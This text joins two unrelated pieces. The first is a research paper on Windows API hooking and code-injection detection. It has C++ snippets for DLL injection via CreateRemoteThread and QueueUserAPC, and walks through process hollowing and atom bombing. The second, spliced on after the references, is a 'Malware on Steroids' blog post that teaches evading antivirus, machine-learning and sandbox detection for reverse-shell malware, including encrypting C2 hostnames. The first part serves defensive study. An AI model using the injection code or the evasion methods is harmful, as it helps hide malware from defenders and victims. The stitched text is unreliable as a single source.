Userland API Monitoring and Code Injection Detection

( Original text by dtm )

bout This Paper

The following document is a result of self-research of malicious software (malware) and its interaction with the Windows Application Programming Interface (WinAPI). It details the fundamental concepts behind how malware is able to implant malicious payloads into other processes and how it is possible to detect such functionality by monitoring communication with the Windows operating system. The notion of observing calls to the API will also be illustrated by the procedure of hooking certain functions which will be used to achieve the code injection techniques.

Disclaimer: Since this was a relatively accelerated project due to some time constraints, I would like to kindly apologise in advance for any potential misinformation that may be presented and would like to ask that I be notified as soon as possible so that it may revised. On top of this, the accompanying code may be under-developed for practical purposes and have unforseen design flaws.

Introduction

In the present day, malware are developed by cyber-criminals with the intent of compromising machines that may be leveraged to perform activities from which they can profit. For many of these activities, the malware must be able survive out in the wild, in the sense that they must operate covertly with all attempts to avert any attention from the victims of the infected and thwart detection by anti-virus software. Thus, the inception of stealth via code injection was the solution to this problem.


Section I: Fundamental Concepts

Inline Hooking

Inline hooking is the act of detouring the flow of code via hotpatching. Hotpatching is defined as the modification of code during the runtime of an executable image[1]. The purpose of inline hooking is to be able to capture the instance of when the program calls a function and then from there, observation and/or manipulation of the call can be accomplished. Here is a visual representation of how normal execution works:

Normal Execution of a Function Call

| Program | ------ calls function -----> | Function | (execution of function)

versus execution of a hooked function:

This can be separated into three steps. To demonstrate this process, the WinAPI function MessageBox 15 will be used.

  1. Hooking the function

To hook the function, we first require the intermediate function which must replicate parameters of the targetted function. Microsoft Developer Network (MSDN) defines MessageBox as the following:

int WINAPI MessageBox(
    _In_opt_ HWND    hWnd,
    _In_opt_ LPCTSTR lpText,
    _In_opt_ LPCTSTR lpCaption,
    _In_     UINT    uType
);

So the intermediate function may be defined like so:

int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
    // our code in here
}

Once this exists, execution flow has somewhere for the code to be redirected. To actually hook the MessageBoxfunction, the first few bytes of the code can be patched (keep in mind that the original bytes must be saved so that the function may be restored for when the intermediate function is finished). Here are the original assembly instructions of the function as represented in its corresponding module user32.dll:

; MessageBox
8B FF   mov edi, edi
55      push ebp
8B EC   mov ebp, esp

versus the hooked function:

; MessageBox
68 xx xx xx xx  push <HookedMessageBox> ; our intermediate function
C3              ret

Here I have opted to use the push-ret combination instead of an absolute jmp due to my past experiences of it not being reliable for reasons to be discovered. xx xx xx xx represents the little-endian byte-order address of HookedMessageBox.

  1. Capturing the function call

When the program calls MessageBox, it will execute the push-ret and effectively jump into the HookedMessageBox function and once there, it has complete control over the paramaters and the call itself. To replace the text that will be shown on the message box dialog, the following can be defined in HookedMessageBox:

int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
    TCHAR szMyText[] = TEXT("This function has been hooked!");
}

szMyText can be used to replace the LPCTSTR lpText parameter of MessageBox.

  1. Resuming normal execution

To forward this parameter, execution needs to continue to the original MessageBox so that the operating system can display the dialog. Since calling MessageBox again will just result in an infinite recursion, the original bytes must be restored (as previously mentioned).

int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
    TCHAR szMyText[] = TEXT("This function has been hooked!");
    
    // restore the original bytes of MessageBox
    // ...
    
    // continue to MessageBox with the replaced parameter and return the return value to the program
    return MessageBox(hWnd, szMyText, lpCaption, uType);
}

If rejecting the call to MessageBox was desired, it is as easy as returning a value, preferrably one that is defined in the documentation. For example, to return the “No” option from a “Yes/No” dialog, the intermediate function can be:

int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
    return IDNO;  // IDNO defined as 7
}

API Monitoring

The concept of API monitoring follows on from function hooking. Because gaining control of function calls is possible, observation of all of the parameters is also possible, as previously mentioned hence the name API monitoring. However, there is a small issue which is caused by the availability of different high-level API calls that are unique but operate using the same set of API at a lower level. This is called function wrapping, defined as subroutines whose purpose is to call a secondary subroutine. Returning to the MessageBox example, there are two defined functions: MessageBoxA for parameters that contain ASCII characters and a MessageBoxW for parameters that contain wide characters. In reality, to hook MessageBox, it is required that both MessageBoxAand MessageBoxW be patched. The solution to this problem is to hook at the lowest possible common point of the function call hierarchy.

                                                      +---------+
                                                      | Program |
                                                      +---------+
                                                     /           \
                                                    |             |
                                            +------------+   +------------+
                                            | Function A |   | Function B |
                                            +------------+   +------------+
                                                    |             |
                                           +-------------------------------+
                                           | user32.dll, kernel32.dll, ... |
                                           +-------------------------------+
       +---------+       +-------- hook -----------------> |
       |   API   | <---- +              +-------------------------------------+
       | Monitor | <-----+              |              ntdll.dll              |
       +---------+       |              +-------------------------------------+
                         +-------- hook -----------------> |                           User mode
                                 -----------------------------------------------------
                                                                                       Kernel mode

Here is what the MessageBox call hierarchy looks like:

Here is MessageBoxA:

user32!MessageBoxA -> user32!MessageBoxExA -> user32!MessageBoxTimeoutA -> user32!MessageBoxTimeoutW

and MessageBoxW:

user32!MessageBoxW -> user32!MessageBoxExW -> user32!MessageBoxTimeoutW

The call hierarchy both funnel into MessageBoxTimeoutW which is an appropriate location to hook. For functions that have a deeper hierarchy, hooking any lower could prove to be unecessarily troublesome due to the possibility of an increasing complexity of the function’s parameters. MessageBoxTimeoutW is an undocumented WinAPI function and is defined[2] like so:

int WINAPI MessageBoxTimeoutW(
    HWND hWnd, 
    LPCWSTR lpText, 
    LPCWSTR lpCaption, 
    UINT uType, 
    WORD wLanguageId, 
    DWORD dwMilliseconds
);

To log the usage:

int WINAPI MessageBoxTimeoutW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType, WORD wLanguageId, DWORD dwMilliseconds) {
    std::wofstream logfile;     // declare wide stream because of wide parameters
    logfile.open(L"log.txt", std::ios::out | std::ios::app);
    
    logfile << L"Caption: " << lpCaption << L"\n";
    logfile << L"Text: " << lpText << L"\n";
    logfile << L"Type: " << uType << :"\n";
    
    logfile.close();
    
    // restore the original bytes
    // ...
    
    // pass execution to the normal function and save the return value
    int ret = MessageBoxTimeoutW(hWnd, lpText, lpCaption, uType, wLanguageId, dwMilliseconds);
    
    // rehook the function for next calls
    // ...
    
    return ret;   // return the value of the original function
}

Once the hook has been placed into MessageBoxTimeoutWMessageBoxA and MessageBoxW should both be captured.


Code Injection Primer

For the purposes of this paper, code injection will be defined as the insertion of executable code into an external process. The possibility of injecting code is a natural result of the functionality allowed by the WinAPI. If certain functions are stringed together, it is possible to access an existing process, write data to it and then execute it remotely under its context. In this section, the relevant techniques of code injection that was covered in the research will be introduced.

DLL Injection

Code can come from a variety of forms, one of which is a Dynamic Link Library (DLL). DLLs are libraries that are designed to offer extended functionality to an executable program which is made available by exporting subroutines. Here is an example DLL that will be used for the remainder of the paper:

extern "C" void __declspec(dllexport) Demo() {
    ::MessageBox(nullptr, TEXT("This is a demo!"), TEXT("Demo"), MB_OK);
}

bool APIENTRY DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH)
        ::CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)Demo, nullptr, 0, nullptr);
    return true;
}

When a DLL is loaded into a process and initialised, the loader will call DllMain with fdwReason set to DLL_PROCESS_ATTACH. For this example, when it is loaded into a process, it will thread the Demo subroutine to display a message box with the title Demo and the text This is a demo!. To correctly finish the initialisation of a DLL, it must return true or it will be unloaded.

CreateRemoteThread

DLL injection via the CreateRemoteThread 7 function utilises this function to execute a remote thread in the virtual space of another process. As mentioned above, all that is required to execute a DLL is to have it load into the process by forcing it to execute the LoadLibrary function. The following code can be used to accomplish this:

void injectDll(const HANDLE hProcess, const std::string dllPath) {
    LPVOID lpBaseAddress = ::VirtualAllocEx(hProcess, nullptr, dllPath.length(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	
    ::WriteProcessMemory(hProcess, lpBaseAddress, dllPath.c_str(), dllPath.length(), &dwWritten);
  
    HMODULE hModule = ::GetModuleHandle(TEXT("kernel32.dll"));
  
    LPVOID lpStartAddress = ::GetProcAddress(hModule, "LoadLibraryA");      // LoadLibraryA for ASCII string
  
    ::CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}

MSDN defines LoadLibrary as:

HMODULE WINAPI LoadLibrary(
    _In_ LPCTSTR lpFileName
);

It takes a single parameter which is the path name to the desired library to load. The CreateRemoteThreadfunction allows one parameter to be passed into the thread routine which matches exactly that of LoadLibrary‘s function definition. The goal is to allocate the string parameter in the virtual address space of the target process and then pass that allocated space’s address into the parameter argument of CreateRemoteThread so that LoadLibrary can be invoked to load the DLL.

  1. Allocating virtual memory in the target process

Using VirtualAllocEx allows space to be allocated within a selected process and on success, it will return the starting address of the allocated memory.

Virtual Address Space of Target Process
                                              +--------------------+
                                              |                    |
                        VirtualAllocEx        +--------------------+
                        Allocated memory ---> |     Empty space    |
                                              +--------------------+
                                              |                    |
                                              +--------------------+
                                              |     Executable     |
                                              |       Image        |
                                              +--------------------+
                                              |                    |
                                              |                    |
                                              +--------------------+
                                              |    kernel32.dll    |
                                              +--------------------+
                                              |                    |
                                              +--------------------+
  1. Writing the DLL path to allocated memory

Once memory has been initialised, the path to the DLL can be injected into the allocated memory returned by VirtualAllocEx using WriteProcessMemory.

Virtual Address Space of Target Process
                                              +--------------------+
                                              |                    |
                        WriteProcessMemory    +--------------------+
                        Inject DLL path ----> | "..\..\myDll.dll"  |
                                              +--------------------+
                                              |                    |
                                              +--------------------+
                                              |     Executable     |
                                              |       Image        |
                                              +--------------------+
                                              |                    |
                                              |                    |
                                              +--------------------+
                                              |    kernel32.dll    |
                                              +--------------------+
                                              |                    |
                                              +--------------------+
  1. Get address of LoadLibrary

Since all system DLLs are mapped to the same address space across all processes, the address of LoadLibrary does not have to be directly retrieved from the target process. Simply calling GetModuleHandle(TEXT("kernel32.dll")) and GetProcAddress(hModule, "LoadLibraryA") will do the job.

  1. Loading the DLL

The address of LoadLibrary and the path to the DLL are the two main elements required to load the DLL. Using the CreateRemoteThread function, LoadLibrary is executed under the context of the target process with the DLL path as a parameter.

Virtual Address Space of Target Process
                                              +--------------------+
                                              |                    |
                                              +--------------------+
                                   +--------- | "..\..\myDll.dll"  |
                                   |          +--------------------+
                                   |          |                    |
                                   |          +--------------------+ <---+
                                   |          |     myDll.dll      |     |
                                   |          +--------------------+     |
                                   |          |                    |     | LoadLibrary
                                   |          +--------------------+     | loads
                                   |          |     Executable     |     | and
                                   |          |       Image        |     | initialises
                                   |          +--------------------+     | myDll.dll
                                   |          |                    |     |
                                   |          |                    |     |
          CreateRemoteThread       v          +--------------------+     |
          LoadLibraryA("..\..\myDll.dll") --> |    kernel32.dll    | ----+
                                              +--------------------+
                                              |                    |
                                              +--------------------+

SetWindowsHookEx

Windows offers developers the ability to monitor certain events with the installation of hooks by using the SetWindowsHookEx 6 function. While this function is very common in the monitoring of keystrokes for keylogger functionality, it can also be used to inject DLLs. The following code demonstrates DLL injection into itself:

int main() {
    HMODULE hMod = ::LoadLibrary(DLL_PATH);
    HOOKPROC lpfn = (HOOKPROC)::GetProcAddress(hMod, "Demo");
    HHOOK hHook = ::SetWindowsHookEx(WH_GETMESSAGE, lpfn, hMod, ::GetCurrentThreadId());
    ::PostThreadMessageW(::GetCurrentThreadId(), WM_RBUTTONDOWN, (WPARAM)0, (LPARAM)0);

    // message queue to capture events
    MSG msg;
    while (::GetMessage(&msg, nullptr, 0, 0) > 0) {
        ::TranslateMessage(&msg);
        ::DispatchMessage(&msg);
    }
    
    return 0;
}

SetWindowsHookEx defined by MSDN as:

HHOOK WINAPI SetWindowsHookEx(
    _In_ int       idHook,
    _In_ HOOKPROC  lpfn,
    _In_ HINSTANCE hMod,
    _In_ DWORD     dwThreadId
);

takes a HOOKPROC parameter which is a user-defined callback subroutine that is executed when the specific hook event is trigged. In this case, the event is WH_GETMESSAGE which deals with messages in the message queue. The code initially loads the DLL into its own virtual process space and the exported Demo function’s address is obtained and defined as the callback function in the call to SetWindowsHookEx. To force the callback function to execute, PostThreadMessage is called with the message WM_RBUTTONDOWN which will trigger the WH_GETMESSAGE hook and thus the message box will be displayed.

QueueUserAPC

DLL injection with QueueUserAPC 5 works similar to that of CreateRemoteThread. Both allocate and inject the DLL path into the virtual address space of a target process and then force a call to LoadLibrary under its context.

int injectDll(const std::string dllPath, const DWORD dwProcessId, const DWORD dwThreadId) {
    HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, false, dwProcessId);

    HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, false, dwThreadId);
    
    LPVOID lpLoadLibraryParam = ::VirtualAllocEx(hProcess, nullptr, dllPath.length(), MEM_COMMIT, PAGE_READWRITE);
    
    ::WriteProcessMemory(hProcess, lpLoadLibraryParam, dllPath.data(), dllPath.length(), &dwWritten);
    
    ::QueueUserAPC((PAPCFUNC)::GetProcAddress(::GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA"), hThread, (ULONG_PTR)lpLoadLibraryParam);
    
    return 0;
}

One major difference between this and CreateRemoteThread is that QueueUserAPC operates on alertable states. Asynchronous procedures queued by QueueUserAPC are only handled when a thread enters this state.

Process Hollowing

Process hollowing, AKA RunPE, is a popular method used to evade anti-virus detection. It allows the injection of entire executable files to be loaded into a target process and executed under its context. Often seen in crypted applications, a file on disk that is compatible with the payload is selected as the host and is created as a process, has its main executable module hollowed out and replaced. This procedure can be broken up into four stages.

  1. Creating a host process

In order for the payload to be injected, the bootstrap must first locate a suitable host. If the payload is a .NET application, the host must also be a .NET application. If the payload is a native executable defined to use the console subsystem, the host must also reflect the same attributes. The same is applied to x86 and x64 programs. Once the host has been chosen, it is created as a suspended process using CreateProcess(PATH_TO_HOST_EXE, ..., CREATE_SUSPENDED, ...).

Executable Image of Host Process
                                        +---  +--------------------+
                                        |     |         PE         |
                                        |     |       Headers      |
                                        |     +--------------------+
                                        |     |       .text        |
                                        |     +--------------------+
                          CreateProcess +     |       .data        |
                                        |     +--------------------+
                                        |     |         ...        |
                                        |     +--------------------+
                                        |     |         ...        |
                                        |     +--------------------+
                                        |     |         ...        |
                                        +---  +--------------------+
  1. Hollowing the host process

For the payload to work correctly after injection, it must be mapped to a virtual address space that matches its ImageBase value found in the optional header of the payload’s PE headers.

typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;          // <---- this is required later
  DWORD                BaseOfCode;
  DWORD                BaseOfData;
  DWORD                ImageBase;                    // <---- 
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;                  // <---- size of the PE file as an image
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

This is important because it is more than likely that absolute addresses are involved within the code which is entirely dependent on its location in memory. To safely map the executable image, the virtual memory space starting at the described ImageBase value must be unmapped. Since many executables share common base addresses (usually 0x400000), it is not uncommon to see the host process’s own executable image unmapped as a result. This is done with NtUnmapViewOfSection(IMAGE_BASE, SIZE_OF_IMAGE).

Executable Image of Host Process
                                        +---  +--------------------+
                                        |     |                    |
                                        |     |                    |
                                        |     |                    |
                                        |     |                    |
                                        |     |                    |
                   NtUnmapViewOfSection +     |                    |
                                        |     |                    |
                                        |     |                    |
                                        |     |                    |
                                        |     |                    |
                                        |     |                    |
                                        |     |                    |
                                        +---  +--------------------+
  1. Injecting the payload

To inject the payload, the PE file must be parsed manually to transform it from its disk form to its image form. After allocating virtual memory with VirtualAllocEx, the PE headers are directly copied to that base address.

Executable Image of Host Process
                                        +---  +--------------------+
                                        |     |         PE         |
                                        |     |       Headers      |
                                        +---  +--------------------+
                                        |     |                    |
                                        |     |                    |
                     WriteProcessMemory +     |                    |
                                              |                    |
                                              |                    |
                                              |                    |
                                              |                    |
                                              |                    |
                                              |                    |
                                              +--------------------+

To convert the PE file to an image, all of the sections must be individually read from their file offsets and then placed correctly into their correct virtual offsets using WriteProcessMemory. This is described in each of the sections’ own section header 1.

typedef struct _IMAGE_SECTION_HEADER {
  BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];
  union {
    DWORD PhysicalAddress;
    DWORD VirtualSize;
  } Misc;
  DWORD VirtualAddress;               // <---- virtual offset
  DWORD SizeOfRawData;
  DWORD PointerToRawData;             // <---- file offset
  DWORD PointerToRelocations;
  DWORD PointerToLinenumbers;
  WORD  NumberOfRelocations;
  WORD  NumberOfLinenumbers;
  DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
Executable Image of Host Process
                                              +--------------------+
                                              |         PE         |
                                              |       Headers      |
                                        +---  +--------------------+
                                        |     |       .text        |
                                        +---  +--------------------+
                     WriteProcessMemory +     |       .data        |
                                        +---  +--------------------+
                                        |     |         ...        |
                                        +---- +--------------------+
                                        |     |         ...        |
                                        +---- +--------------------+
                                        |     |         ...        |
                                        +---- +--------------------+
  1. Execution of payload

The final step is to point the starting address of execution to the payload’s aforementioned AddressOfEntryPoint. Since the process’s main thread is suspended, using GetThreadContext to retrieve the relevant information. The context structure is defined as:

typedef struct _CONTEXT
{
     ULONG ContextFlags;
     ULONG Dr0;
     ULONG Dr1;
     ULONG Dr2;
     ULONG Dr3;
     ULONG Dr6;
     ULONG Dr7;
     FLOATING_SAVE_AREA FloatSave;
     ULONG SegGs;
     ULONG SegFs;
     ULONG SegEs;
     ULONG SegDs;
     ULONG Edi;
     ULONG Esi;
     ULONG Ebx;
     ULONG Edx;
     ULONG Ecx;
     ULONG Eax;                        // <----
     ULONG Ebp;
     ULONG Eip;
     ULONG SegCs;
     ULONG EFlags;
     ULONG Esp;
     ULONG SegSs;
     UCHAR ExtendedRegisters[512];
} CONTEXT, *PCONTEXT;

To modify the starting address, the Eax member must be changed to the virtual address of the payload’s AddressOfEntryPoint. Simply, context.Eax = ImageBase + AddressOfEntryPoint. To apply the changes to the process’s thread, calling SetThreadContext and passing in the modified CONTEXT struct is sufficient. All that is required now is to call ResumeThread and payload should start execution.

Atom Bombing

The Atom Bombing is a code injection technique that takes advantage of global data storage via Windows’s global atom table. The global atom table’s data is accessible across all processes which is what makes it a viable approach. The data stored in the table is a null-terminated C-string type and is represented with a 16-bit integer key called the atom, similar to that of a map data structure. To add data, MSDN provides a GlobalAddAtom 4 function and is defined as:

ATOM WINAPI GlobalAddAtom(
    _In_ LPCTSTR lpString
);

where lpString is the data to be stored. The 16-bit integer atom is returned on a successful call. To retrieve the data stored in the global atom table, MSDN provides a GlobalGetAtomName 2 defined as:

UINT WINAPI GlobalGetAtomName(
    _In_  ATOM   nAtom,
    _Out_ LPTSTR lpBuffer,
    _In_  int    nSize
);

Passing in the identifying atom returned from GlobalAddAtom will place the data into lpBuffer and return the length of the string excluding the null-terminator.

Atom bombing works by forcing the target process to load and execute code placed within the global atom table and this relies on one other crucial function, NtQueueApcThread, which is lowest level userland call for QueueUserAPC. The reason why NtQueueApcThread is used over QueueUserAPC is because, as seen before, QueueUserAPC‘s APCProc 1 only receives one parameter which is a parameter mismatch compared to GlobalGetAtomName[3].

VOID CALLBACK APCProc(               UINT WINAPI GlobalGetAtomName(
                                         _In_  ATOM   nAtom,
    _In_ ULONG_PTR dwParam     ->        _Out_ LPTSTR lpBuffer,
                                         _In_  int    nSize
);                                   );

However, the underlying implementation of NtQueueApcThread allows for three potential parameters:

NTSTATUS NTAPI NtQueueApcThread(                      UINT WINAPI GlobalGetAtomName(
    _In_     HANDLE           ThreadHandle,               // target process's thread
    _In_     PIO_APC_ROUTINE  ApcRoutine,                 // APCProc (GlobalGetAtomName)
    _In_opt_ PVOID            ApcRoutineContext,  ->      _In_  ATOM   nAtom,
    _In_opt_ PIO_STATUS_BLOCK ApcStatusBlock,             _Out_ LPTSTR lpBuffer,
    _In_opt_ ULONG            ApcReserved                 _In_  int    nSize
);                                                    );

Here is a visual representation of the code injection procedure:

Atom bombing code injection
                                              +--------------------+
                                              |                    |
                                              +--------------------+
                                              |      lpBuffer      | <-+
                                              |                    |   |
                                              +--------------------+   |
     +---------+                              |                    |   | Calls
     |  Atom   |                              +--------------------+   | GlobalGetAtomName
     | Bombing |                              |     Executable     |   | specifying
     | Process |                              |       Image        |   | arbitrary
     +---------+                              +--------------------+   | address space
          |                                   |                    |   | and loads shellcode
          |                                   |                    |   |
          |           NtQueueApcThread        +--------------------+   |
          +---------- GlobalGetAtomName ----> |      ntdll.dll     | --+
                                              +--------------------+
                                              |                    |
                                              +--------------------+

This is a very simplified overview of atom bombing but should be adequate for the remainder of the paper. For more information on atom bombing, please refer to enSilo’s AtomBombing: Brand New Code Injection for Windows 27.


Section II: UnRunPE

UnRunPE is a proof-of-concept (PoC) tool that was created for the purposes of applying API monitoring theory to practice. It aims to create a chosen executable file as a suspended process into which a DLL will be injected to hook specific functions utilised by the process hollowing technique.

Code Injection Detection

From the code injection primer, the process hollowing method was described with the following WinAPI call chain:

  1. CreateProcess
  2. NtUnmapViewOfSection
  3. VirtualAllocEx
  4. WriteProcessMemory
  5. GetThreadContext
  6. SetThreadContext
  7. ResumeThread

A few of these calls do not have to be in this specific order, for example, GetThreadContext can be called before VirtualAllocEx. However, the general arrangement cannot deviate much because of the reliance on former API calls, for example, SetThreadContext must be called before GetThreadContext or CreateProcess must be called first otherwise there will be no target process to inject the payload. The tool assumes this as a basis on which it will operate in an attempt to detect a potentially active process hollowing.

Following the theory of API monitoring, it is best to hook the lowest, common point but when it comes it malware, it should ideally be the lowest possible that is accessible. Assuming a worst case scenario, the author may attempt to skip the higher-level WinAPI functions and directly call the lowest function in the call hierarchy, usually found in the ntdll.dll module. The following WinAPI functions are the lowest in the call hierarchy for process hollowing:

  1. NtCreateUserProcess
  2. NtUnmapViewOfSection
  3. NtAllocateVirtualMemory
  4. NtWriteVirtualMemory
  5. NtGetContextThread
  6. NtSetContextThread
  7. NtResumeThread

Code Injection Dumping

Once the necessary functions are hooked, the target process is executed and each of the hooked functions’ parameters are logged to keep track of the current progress of the process hollowing and the host process. The most significant hooks are NtWriteVirtualMemory and NtResumeThread because the former applies the injection of the code and the latter executes it. Along with logging the parameters, UnRunPE will also attempt to dump the bytes written using NtWriteVirtualMemory and then when NtResumeThread is reached, it will attempt to dump the entire payload that has been injected into the host process. To achieve this, it uses the process and thread handle parameters logged in NtCreateUserProcess and the base address and size logged from NtUnmapViewOfSection. Using the parameters provided by NtAllocateVirtualMemory may be more appropriate however, due to some unknown reasons, hooking that function results in some runtime errors. When the payload has been dumped from NtResumeThread, it will terminate the target process and its host process to prevent execution of the injected code.

UnRunPE Demonstration

For the demonstration, I have chosen to use a trojanised binary that I had previously created as an experiment. It consists of the main executable PEview.exe and PuTTY.exe as the hidden executable.

105


Section III: Dreadnought

Dreadnought is a PoC tool that was built upon UnRunPE to support a wider variety of code injection detection, namely, those listed in Code Injection Primer. To engineer such an application, a few augmentations are required.

Detecting Code Injection Method

Because there are so many methods of code injection, differentiating each technique was a necessity. The first approach to this was to recognise a “trigger” API call, that is, the API call which would peform the remote execution of the payload. Using this would do two things: identify the completion of and, to an extent, the type of the code injection. The type can be categorised into four groups:

  • Section: Code injected as/into a section
  • Process: Code injected into a process
  • Code: Generic code injection or shellcode
  • DLL: Code injected as DLLs
process-injection

Process%2BInjection%25281%2529.png1024x768
Process Injection Info Graphic[4] by Karsten Hahn 2

Each trigger API is listed underneath Execute. When either of these APIs have been reached, Dreadought will perform a code dumping method that matches the assumed injection type in a similar fashion to what occurs with process hollowing in UnRunPE. Reliance on this is not enough because there is still potential for API calls to be mixed around to achieve the same functionality as displayed from the stemming of arrows.

Heuristics

For Dreadnought to be able to determine code injection methods more accurately, a heuristic should be involved as an assist. In the development, a very simplistic heuristic was applied. Following the process injection infographic, every time an API was hooked, it would increase the weight of one or more of the associated code injection types stored within a map data structure. As it traces each API call, it will start to favour a certain type. Once the trigger API has been entered, it will identify and compare the weights of the relevant types and proceed with an appropriate action.

Dreadnought Demonstration

Process Injection — Process Hollowing

51

DLL Injection — SetWindowsHookEx

29

DLL Injection — QueueUserAPC

21

Code Injection — Atom Bombing

25

13

15


Conclusion

This paper aimed to bring a technical understanding of code injection and its interaction with the WinAPI. Furthermore, the concept of API monitoring in userland was entertained with the malicious use of injection methods utilised by malware to bypass anti-virus detection. The following presents the current status of Dreadnought as of this writing.

Limitations

Dreadnought’s current heuristic and detection design is incredibly poor but was sufficient enough for theoretical demonstration purposes. Practical use may not be ideal since there is a high possibility that there will be collateral with respect to the hooked API calls during regular operations with the operating system. Because of the impossibility to discern benign from malicious behaviour, false positives and negatives may arise as a result.

With regards to Dreadnought and its operations within userland, it may not be ideal use when dealing with sophisticated malware, especially those which have access to direct interactions with the kernel and those which have the capabilities to evade hooks in general.


PoC Repositories


References

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Malware on Steroids Part 3: Machine Learning & Sandbox Evasion

 

( Original text by Paranoid Ninja )

It’s been a busy month for me and I was not able to save time to write the final part of the series on Malware Development. But I am receiving too many DMs on Twitter accounts lately to publish the final part. So here we are.

If you are reading this blog, I am basically assuming that you know C/C++ and Windows API by now. If you don’t, then you should go back and read my other blogs on Static AV Evasion and Malware Development using WINAPI (basics).

In this post, we will be using multiple ways to evade endpoint detection mechanisms and sandboxes. Machine Learning is applied at two major levels in most organization. One is at the network level where it tries to identify anomalies based on the behavior of network connections, proxy logs and pattern of connections over time. Most Network ML Solutions tend to analyze beacons of malwares and DPI (deep packet inspection) to identify the malware. This is something that Microsoft ATA (Advanced Threat Analytics), or FireEye sandboxes do. On the other hand, we have Endpoint agents like Symantec EP, Crowdstrike, Endgame, Microsoft Cloud Defender and similar monitoring tools which perform behavioral analysis of the code along with signature detection to detect malicious processes.

I will purely be focusing on multiple ways where we can make our malware behave like a legitimate executable or try to confuse the Endpoint agent to evade detection. I’ve used the methods mentioned in this blog to successfully evade Crowdstrike Agent, Symantec EP and Microsoft Windows Cloud Defender, the videos of the latter which I have already posted in my previous blogs. However, you might need to modify or add new techniques as this might become detectable over time. One of the best ways to avoid AV is to disable the Process creation altogether and just use WINAPI. But that would mean carefully crafting your payloads and it would be difficult to port them for shellcoding. That’s the main reason malware authors write their malwares in C, and only selected payloads in shellcode. A combination of these two makes malwares unbeatable on all fronts.

Each of the techniques mentioned below creates a unique signature which most AVs won’t have. It’s more of a trail and error to check which AVs detect which techniques. Also remember that we can use stubs and packers for encryption, but that’s for a different blog post that I will do later.

P.S.: This blog is exclusive of shellcodes, reason being I will be writing a separate blog series on windows Shellcoding later. I will be using encrypted functions during the shellcoding part and not in this post. This post is specifically how Malware authors use C to perform evasions. You can also use the same APIs and code snippets mentioned below to craft a custom malware for Red Teaming.

main():

So, before we start let’s try to get a based understanding of how Machine learning works. Machine learning is purely focused on the behaviour of the user (in case of endpoints). In short, if we sign our malware and try to make it act like a legitimate executable, it becomes really easy to evade ML. I’ve seen people using PowerShell to write reverse shells, but they get easy detectable due to Microsoft’s AMSI (Anti-Malware Scan Interface) which consistently keeps on checking (including and mainly PowerShell) to detect malicious process executions and connections.  For those of you who don’t know, Microsoft uses DMTK(Microsoft Distributed Machine Learning Toolkit) framework which is basically a decision tree based algorithm which specifies whether a file is malicious or not. PowerShell is very tightly controlled by Microsoft and it gets harder over time to evade ML when using PowerShell.

This is the reason I decided to switch to C and C++ to get reverse shells over network so that I could have flexibility at a lower level to do whatever I want. We will be using a lot of windows APIs, encrypted variables and a lot of decision tree of our own to evade ML. This it supposed to work till Microsoft doesn’t start using CNTK framework which is a much better framework than DMTK, but harder to apply at the same time.

Encrypted Host & Process Names

So, the first thing to do is to encrypt our hostname. We can possibly use something as simple as XOR, or any custom complicated mathematical equation to decrypt our encrypted variable to get the hostname. I created a python script which takes a hostname and a character and returns a Xor’d Array:

As you can see, it gives the Key value in integer of the Xor Key, the length of the encrypted array and the whole Encrypted array which we can simply use in a C integer or char array.

The next step is to decrypt this array at runtime and we need to hardcode the key inside the executable. This is the only key that we would be hardcoding into the code. Also, to make it complicated for the reverse engineer, we will write a C function to automatically detect that the last integer is the key and use that to loop through the array to decrypt the encrypted string. Below is how it would look like

So, we are creating a char buffer of the size of EncryptedHost on heap. We are then passing the host, length and decrypted host variable to the Decrypter function. Below is how the Decrypter function looks:

To explain in short, it creates an Encrypted Integer array of our char array  and xors them back again using the key to convert the encrypted value to the original value and stores them in the DecryptedData array we created previously. With the help of this, if someone runs strings, they wouldn’t be able to see any host in the executable. They would need to understand the math and set a proper breakpoint in Debugger to fetch the C2 host. You can create more complicated mathematical equations to decrypt host if required. We can now use this DecryptedData array within our sockets to connect to the remote host.

P.S.: Reverse Engineers & Sandboxes can fetch the C2 names with the help of packet captures and DNS Name Resolutions. It is better to send raw packets to multiple hosts to confuse which one is the real C2 server. But at the same time, this can lead to easy  detection of the malware. Check my Legitimate Domain Routing technique below which is much better than using this.

